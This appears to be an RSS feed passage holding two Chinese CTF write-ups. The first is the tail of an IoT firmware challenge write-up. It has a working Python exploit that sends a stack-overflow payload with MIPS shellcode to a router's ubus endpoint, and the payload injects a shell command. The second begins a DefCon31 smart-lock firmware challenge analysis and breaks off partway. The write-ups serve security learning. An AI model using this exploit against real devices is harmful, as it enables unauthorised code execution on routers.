UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  为核心用户数据处理函数，其中sub_401024-&gt;sub_400F80-&gt;strncpy可控，导致溢出漏洞。其实sub_401024也能溢出(memcpy)但是其函数返回方式是<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"> jr $ra</code>，不方便控制所以在sub_400F80中利用。</p><h3 style="letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">Exploit</h3><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  程序开了NX保护，但只是stack上的。从<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">/proc/pid/maps</code>里面看其堆空间是可执行的：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6571767497034401" data-s="300,640" style="" data-type="png" data-w="843" src="https://wechat2rss.xlab.app/img-proxy/?k=6da6fd82&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwhX221zDVNKRA1HZViaPl8tKlL0KPb5wdSmibEy0W66zZS2U6Teniarm5HA%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  需要注意的是payload不可以包含null字符，否则解析时会被截断。因此利用思路为：payload中填充不带null的shellcode，覆盖$ra指向shellcode。<strong style="line-height: 1.75;color: rgb(255, 118, 118);">这是因为系统只开启了栈地址随机化</strong>。</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4618599791013584" data-s="300,640" style="" data-type="png" data-w="957" src="https://wechat2rss.xlab.app/img-proxy/?k=f83dfc33&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwhVt47k6rueXwicInpe4hnCh32uwibXXK0h5YtonahaYxcOVFovTTblgjg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.656498673740053" data-s="300,640" style="" data-type="png" data-w="754" src="https://wechat2rss.xlab.app/img-proxy/?k=f139bf89&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwhvjhAHkBprAbF5Dt8wl8AzWu7rsSy5hlakibcgiaCibXOEanIzOPFAFKOw%2F640%3Fwx_fmt%3Dpng"/></p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(198, 120, 221);">import</span> requests, struct<br/><span style="color: rgb(198, 120, 221);">from</span> pwn <span style="color: rgb(198, 120, 221);">import</span> *<br/>URL = <span style="color: rgb(152, 195, 121);">&#39;<a href="http://192.168.1.1/ubus" target="_blank">http://192.168.1.1/ubus</a>&#39;</span><br/><span style="color: rgb(152, 195, 121);">&#39;&#39;&#39;<br/>LOAD:00400EE4                 addiu   $v0, $fp, 0x260+var_244<br/>LOAD:00400EE8                 move    $a0, $v0         # cmd<br/>LOAD:00400EEC                 jal     system<br/>LOAD:00401010                 lw      $ra, 0x1020+var_s4($sp)<br/>LOAD:00401014                 lw      $fp, 0x1020+var_s0($sp)<br/>LOAD:00401018                 addiu   $sp, 0x1028<br/>LOAD:0040101C                 jr      $ra<br/>&#39;&#39;&#39;</span><br/>headers = {<span style="color: rgb(152, 195, 121);">&#34;Accept&#34;</span>: <span style="color: rgb(152, 195, 121);">&#34;*/*&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;User-Agent&#34;</span>: <span style="color: rgb(152, 195, 121);">&#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36&#34;</span>,<br/>           <span style="color: rgb(152, 195, 121);">&#34;Connection&#34;</span>: <span style="color: rgb(152, 195, 121);">&#34;close&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;Accept-Encoding&#34;</span>: <span style="color: rgb(152, 195, 121);">&#34;gzip, deflate&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;Accept-Language&#34;</span>: <span style="color: rgb(152, 195, 121);">&#34;zh-CN,zh;q=0.9&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;Content-Type&#34;</span>: <span style="color: rgb(152, 195, 121);">&#34;application/json&#34;</span>}<br/>command = <span style="color: rgb(152, 195, 121);">&#34;;ls &gt; /tmp/flag;&#34;</span><br/>shellcode = asm(<span style="color: rgb(152, 195, 121);">&#34;addiu $sp, -0x1217&#34;</span>, arch=<span style="color: rgb(152, 195, 121);">&#39;mips&#39;</span>, os=<span style="color: rgb(152, 195, 121);">&#39;linux&#39;</span>, bits=<span style="color: rgb(209, 154, 102);">32</span>)<br/>shellcode += asm(<span style="color: rgb(152, 195, 121);">&#34;jal 0x004018E0&#34;</span>, arch=<span style="color: rgb(152, 195, 121);">&#39;mips&#39;</span>, os=<span style="color: rgb(152, 195, 121);">&#39;linux&#39;</span>, bits=<span style="color: rgb(209, 154, 102);">32</span>)<br/>shellcode += asm(<span style="color: rgb(152, 195, 121);">&#34;addiu $a0, $sp, 0x1201&#34;</span>, arch=<span style="color: rgb(152, 195, 121);">&#39;mips&#39;</span>, os=<span style="color: rgb(152, 195, 121);">&#39;linux&#39;</span>, bits=<span style="color: rgb(209, 154, 102);">32</span>)     <span style="color: rgb(92, 99, 112);font-style: italic;">#cant be &#39;nop&#39; becuase of null</span><br/>shellcode = shellcode.ljust(<span style="color: rgb(209, 154, 102);">4104</span> - <span style="color: rgb(230, 192, 123);">len</span>(command), <span style="color: rgb(152, 195, 121);">b&#39;A&#39;</span>).decode(<span style="color: rgb(152, 195, 121);">&#39;latin-1&#39;</span>)<br/>shellcode += command<br/>shellcode_Addr = <span style="color: rgb(209, 154, 102);">0x413058</span><br/>rawBody = <span style="color: rgb(152, 195, 121);">&#34;{\&#34;jsonrpc\&#34;:\&#34;2.0\&#34;,\&#34;id\&#34;:\&#34;0\&#34;,\&#34;method\&#34;:\&#34;call\&#34;,\&#34;params\&#34;:[\&#34;00000000000000000000000000000000\&#34;,\&#34;dsd\&#34;,\&#34;job\&#34;,{\&#34;msg\&#34;:\&#34;*##*&#34;</span> + struct.pack(<span style="color: rgb(152, 195, 121);">&#39;&gt;HH&#39;</span>, <span style="color: rgb(209, 154, 102);">4104</span> + <span style="color: rgb(209, 154, 102);">9</span> + <span style="color: rgb(209, 154, 102);">3</span>, <span style="color: rgb(209, 154, 102);">4104</span> + <span style="color: rgb(209, 154, 102);">3</span>).decode(<span style="color: rgb(152, 195, 121);">&#39;latin-1&#39;</span>) + <span style="color: rgb(152, 195, 121);">&#34;*##*&#34;</span> + shellcode + <span style="color: rgb(152, 195, 121);">&#34;\x58\x30\x41&#34;</span> <span style="color: rgb(152, 195, 121);">&#34;\&#34;}]\r\n}&#34;</span><br/><span style="color: rgb(92, 99, 112);font-style: italic;"># print(rawBody)</span><br/>resp = requests.post(url=URL,headers=headers, data=rawBody, timeout=<span style="color: rgb(209, 154, 102);">3</span>)<br/><span style="color: rgb(230, 192, 123);">print</span>(resp.text)</code></pre><h1 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">参考</h1><ul style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <a href="https://mp.weixin.qq.com/s?__biz=MzUyMDEyNTkwNA==&amp;mid=2247493801&amp;idx=1&amp;sn=d3f98938ae8df76c28accc580a4e6c17&amp;chksm=f9ed8416ce9a0d00c54d8ab9749e7d76792b82b06780ae103b3879c154b80654e0c4ef3c1881&amp;scene=21#wechat_redirect" title="2022西湖论剑 IoT-AWD 赛题官方 WriteUp （上篇）：一号固件&amp;二号固件 (qq.com)" style="line-height: 1.75;" data-linktype="2">2022西湖论剑 IoT-AWD 赛题官方 WriteUp （上篇）：一号固件&amp;二号固件 (qq.com)</a></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <span style="line-height: 1.75;color: rgb(87, 107, 149);">【技术分享】IoT固件分析入门 - 网安 (wangan.com)</span>：IDA patch mips无法保存</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <span style="line-height: 1.75;color: rgb(87, 107, 149);">ghidra_SavePatch/SavePatch.py at master · schlafwandler/ghidra_SavePatch (github.com)</span>：ghidra脚本</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <span style="line-height: 1.75;color: rgb(87, 107, 149);">MIPS Application Specific Extensions (ASE) - Imagination</span>：mips拓展指令集</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <span style="line-height: 1.75;color: rgb(87, 107, 149);">Handlers (embedthis.com)</span>：appweb官方文档</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <span style="line-height: 1.75;color: rgb(87, 107, 149);">Appweb 学习笔记 - V4ler1an</span></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <span style="line-height: 1.75;color: rgb(87, 107, 149);">(59条消息) 网络编程——原始套接字实现原理_使用原始套接字在网络层进行数据传输_企鹅快跑的博客-CSDN博客</span></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <span style="line-height: 1.75;color: rgb(87, 107, 149);">网络骇客初级之原始套接字（SOCK_RAW）_Czyy的技术博客_51CTO博客</span></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <span style="line-height: 1.75;color: rgb(87, 107, 149);">Linux内核源码之Netfilter框架 - 知乎 (zhihu.com)</span></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <span style="line-height: 1.75;color: rgb(87, 107, 149);">struct sk_buff结构体详解_51CTO博客_sk_buff结构体</span></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <span style="line-height: 1.75;color: rgb(87, 107, 149);">Decoding of string with null-byte. · Issue #108 · json-c/json-c (github.com)</span></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <span style="line-height: 1.75;color: rgb(87, 107, 149);">Device Tree (dtb) - postmarketOS</span></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <span style="line-height: 1.75;color: rgb(87, 107, 149);">Flattened uImage Tree (FIT) Images (gibbard.me)</span></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <a href="https://mp.weixin.qq.com/s?__biz=MzUyMDEyNTkwNA==&amp;mid=2247486241&amp;idx=1&amp;sn=176000328d9934755c8173e6b4f91e27&amp;ref=www.ctfiot.com&amp;scene=21#wechat_redirect" title="2021西湖论剑IOT RW-WriteUp (qq.com)" style="line-height: 1.75;" data-linktype="2">2021西湖论剑IOT RW-WriteUp (qq.com)</a></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <a href="https://mp.weixin.qq.com/s?__biz=MzUyMDEyNTkwNA==&amp;mid=2247493817&amp;idx=1&amp;sn=3fc9e016df8c42e204782603be5fbac4&amp;chksm=f9ed8406ce9a0d106ec8126f8edb451659a5096f877b968716cb5428eabb8f18feb5ab58d7e9&amp;cur_album_id=1375767735803805698&amp;scene=21#wechat_redirect" title="2022西湖论剑 IoT-AWD 赛题官方 WriteUp （下篇）：三号固件 (qq.com)" style="line-height: 1.75;" data-linktype="2">2022西湖论剑 IoT-AWD 赛题官方 WriteUp （下篇）：三号固件 (qq.com)</a></p></li></ul><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485983">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d6046294&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NzczOTA3OQ%3D%3D%26mid%3D2247485983%26idx%3D1%26sn%3D7ed8805fe17db2c54f98261539845956%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 03 Jul 2023 14:39:00 +0800</pubDate>
    </item>
    <item>
      <title>DefCon  REST-AND-ATTEST</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NzczOTA3OQ==&amp;mid=2247485935&amp;idx=1&amp;sn=5aa99f2de3b4e4c8c53ff8515e84275a</link>
      <description>DefCon31  REST-AND-ATTEST题目解析</description>
      <content:encoded><![CDATA[<p>
原创 <span>时钟</span> <span>2023-06-05 13:54</span> <span style="display: inline-block;">北京</span>
</p>

<p>DefCon31  REST-AND-ATTEST题目解析</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=1c3ff8cc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FLxlshmzkAkY32waAkGFjhYictAKOicqgReOMyUx2icVazHQNUofJ6hibicJcPOFBSuPVgDXGicmTgwu5gKBZ7YtbPDug%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.32" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=33786dee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkb1yDnVcgIlvd3KG3vX76egiaDfKT3XbKmjGJjIa3foicznOnreTcvrRwtccfNAZ4I8TuibyIuNnkiatQ%2F640%3Fwx_fmt%3Dpng"/></p><h1 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">题目描述</h1><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">官方描述：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">Description<br/>Are you ready for a revolution in home security? NI Securable Products is proud to present our newest smart lock technology, equipped with our Secure Firmware Module. This robust root-of-trust allows for easy, convenient, and secure upgrades of firmware using the latest in firmware attestation technology.<br/>Host: rest-and-attest-tbjffclmcnxkq.shellweplayaga.me<br/>Port: 10001<br/>Ticket<br/>This challenge requires a ticket to connect. Your team&#39;s ticket is:<br/>ticket{*********}<br/>This ticket and the flag are traceable to your team. Do not share it with other teams, and do not try to submit a flag from another team.<br/>Files<br/>rest-and-attest.tar.gz</code></pre><h1 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">逆向&amp;漏洞发现</h1><blockquote style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);">题目还是有点大的，主要描述的都是一些有意思的点。</p></blockquote><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  题目给的压缩包，里面包含三个目录bin, lib, src，通过run_challenge.sh和wrapper.sh可以得出题目的大致情况：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(97, 174, 238);">#</span>!/bin/sh<br/><span style="color: rgb(97, 174, 238);"><br/># </span>simulates challenge running <span style="color: rgb(198, 120, 221);">in</span> production environment<br/>socat tcp4-listen:4444,reuseaddr,fork exec:&#34;./wrapper.sh&#34;</code></pre><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(97, 174, 238);">#</span>!/bin/sh<br/>exec 3&lt;&amp;- 4&lt;&amp;-<br/>exec ./uploader</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  可以看出目标题目就是执行的uploader程序，同时在src目录里面存在uploader，sfm，sfm-sys的源码，下面描述一下三者的主要逻辑和逆向发现漏洞过程。</p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">bin目录：</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4" data-s="300,640" style="" data-type="png" data-w="840" src="https://wechat2rss.xlab.app/img-proxy/?k=c1faaedb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkY32waAkGFjhYictAKOicqgRezEYYssH9lia0cBciaibvQD3QkWBW7G3hzdWSrWyfm5NR5QBs0KQc6H3JA%2F640%3Fwx_fmt%3Dpng"/></p><h2 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">uploader</h2><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(198, 120, 221);">fn</span> <span style="color: rgb(97, 174, 238);">io_loop</span>() -&gt; <span style="color: rgb(209, 154, 102);">Result</span>&lt;(), <span style="color: rgb(209, 154, 102);">Box</span>&lt;<span style="color: rgb(198, 120, 221);">dyn</span> Error&gt;&gt; {<br/>    <span style="color: rgb(198, 120, 221);">let</span> <span style="color: rgb(198, 120, 221);">mut </span><span style="color: rgb(209, 154, 102);">image</span> = include_bytes!(<span style="color: rgb(152, 195, 121);">&#34;trusted_firmware.raw&#34;</span>).<span style="color: rgb(97, 174, 238);">to_vec</span>();<br/>    <span style="color: rgb(198, 120, 221);">loop</span> {<br/>        <span style="color: rgb(198, 120, 221);">let</span> <span style="color: rgb(198, 120, 221);">mut </span><span style="color: rgb(209, 154, 102);">line</span> = String::<span style="color: rgb(97, 174, 238);">new</span>();<br/>        <span style="color: rgb(230, 192, 123);">print!</span>(<span style="color: rgb(152, 195, 121);">&#34;&gt; &#34;</span>);<br/>        <span style="color: rgb(97, 174, 238);">stdout</span>().<span style="color: rgb(97, 174, 238);">flush</span>()?;<br/>        <span style="color: rgb(97, 174, 238);">stdin</span>().<span style="color: rgb(97, 174, 238);">read_line</span>(&amp;<span style="color: rgb(198, 120, 221);">mut</span> line)?;<br/>        <span style="color: rgb(198, 120, 221);">let</span> <span style="color: rgb(209, 154, 102);">command</span> = line.<span style="color: rgb(97, 174, 238);">trim</span>();<br/>        <span style="color: rgb(198, 120, 221);">if</span> command == String::<span style="color: rgb(97, 174, 238);">from</span>(<span style="color: rgb(152, 195, 121);">&#34;upload&#34;</span>) {<br/>            image = <span style="color: rgb(97, 174, 238);">get_new_image</span>()?; <span style="color: rgb(92, 99, 112);font-style: italic;">// user input iamge</span><br/>        } <span style="color: rgb(198, 120, 221);">else</span> <span style="color: rgb(198, 120, 221);">if</span> command == String::<span style="color: rgb(97, 174, 238);">from</span>(<span style="color: rgb(152, 195, 121);">&#34;download&#34;</span>) {<br/>            <span style="color: rgb(97, 174, 238);">do_download</span>(&amp;image)?; <span style="color: rgb(92, 99, 112);font-style: italic;">// image to hex and stdout ptint</span><br/>        } <span style="color: rgb(198, 120, 221);">else</span> <span style="color: rgb(198, 120, 221);">if</span> command == String::<span style="color: rgb(97, 174, 238);">from</span>(<span style="color: rgb(152, 195, 121);">&#34;run&#34;</span>) {<br/>            <span style="color: rgb(97, 174, 238);">run_device</span>(&amp;image)?; <span style="color: rgb(92, 99, 112);font-style: italic;">// so lancher connect sfm and lancher have iamge, ok, may lancher give image to sfm and sfm run image</span><br/>        } <span style="color: rgb(198, 120, 221);">else</span> <span style="color: rgb(198, 120, 221);">if</span> command == String::<span style="color: rgb(97, 174, 238);">from</span>(<span style="color: rgb(152, 195, 121);">&#34;quit&#34;</span>) {<br/>            <span style="color: rgb(198, 120, 221);">break</span>;<br/>        } <span style="color: rgb(198, 120, 221);">else</span> {<br/>            <span style="color: rgb(230, 192, 123);">println!</span>(<span style="color: rgb(152, 195, 121);">&#34;Invalid command {:}&#34;</span>, command)<br/>        }<br/>    }<br/>    <span style="color: rgb(97, 174, 238);">Ok</span>(())<br/>}</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  题目采用rust编写，uploader存在三个主要功能：upload，download，run。</p><ul style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• upload:主要就是通过输入获取新的镜像。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• download：下载当前运行的镜像。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• run：启动sfm程序和launcher程序（无源码bin文件）并初始化Unix stream socket为sfm和launcher建立通信，同时launcher程序会读取image，并在建立seccomp之后执行image。</p></li></ul><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">那么现在的思路基本上就两个：</p><ol style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;color: rgb(63, 63, 63);" 